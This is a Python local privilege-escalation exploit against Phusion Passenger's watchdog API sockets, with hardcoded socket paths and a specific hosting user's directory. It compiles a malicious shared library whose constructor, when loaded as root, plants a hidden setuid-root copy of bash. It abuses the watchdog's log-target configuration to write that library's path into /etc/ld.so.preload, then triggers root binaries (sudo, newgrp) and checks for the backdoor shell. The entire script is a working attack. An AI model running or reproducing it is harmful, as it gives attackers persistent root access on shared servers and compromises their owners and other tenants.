#!/usr/bin/env python3
import os,socket,json,tempfile,time

C='''#include<stdlib.h>
#include<unistd.h>
void __attribute__((constructor)) _z(){
if(geteuid()!=0)return;
system("cp /bin/bash /var/www/u1697263/data/.bsys;chmod 4755 /var/www/u1697263/data/.bsys");
unlink("/etc/ld.so.preload");
}
'''

tf=tempfile.mktemp(suffix='.c')
sf=tf.replace('.c','.so')
open(tf,'w').write(C)
r=os.system('gcc -shared -fPIC -nostartfiles '+tf+' -o '+sf+' 2>/dev/null')
print('compile:'+str(r))
if r!=0:
    print('FAIL')
    exit(1)
print('so:'+sf)

SOCKETS=[
    '/var/run/passenger-instreg/passenger.nea9r0T/agents.s/watchdog_api',
    '/var/run/passenger-instreg/passenger.TIWpxt3/agents.s/watchdog_api',
]

def preq(sock,method,path,body=None):
    s=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
    s.settimeout(5)
    try:
        s.connect(sock)
    except Exception as e:
        return 'ERR:'+str(e)
    b=json.dumps(body).encode() if body else b''
    h=(method+' '+path+' HTTP/1.1\r\nHost: x\r\nContent-Length: '+str(len(b))+'\r\n\r\n').encode()
    s.sendall(h+b)
    resp=b''
    try:
        while True:
            d=s.recv(4096)
            if not d:break
            resp+=d
    except:pass
    s.close()
    return resp.decode(errors='replace')[:200]

for SOCK in SOCKETS:
    print('SOCK:'+SOCK)
    r1=preq(SOCK,'PUT','/config.json',{'level':'info','target':{'path':'/etc/ld.so.preload'},'buffer_logs':False})
    print('PUT:'+r1[:100])
    r2=preq(SOCK,'GET',sf)
    print('GET:'+r2[:100])

os.system('sudo --version 2>/dev/null')
os.system('newgrp 2>/dev/null')
time.sleep(1)
print('SUID:'+os.popen('ls -la /var/www/u1697263/data/.bsys 2>/dev/null').read())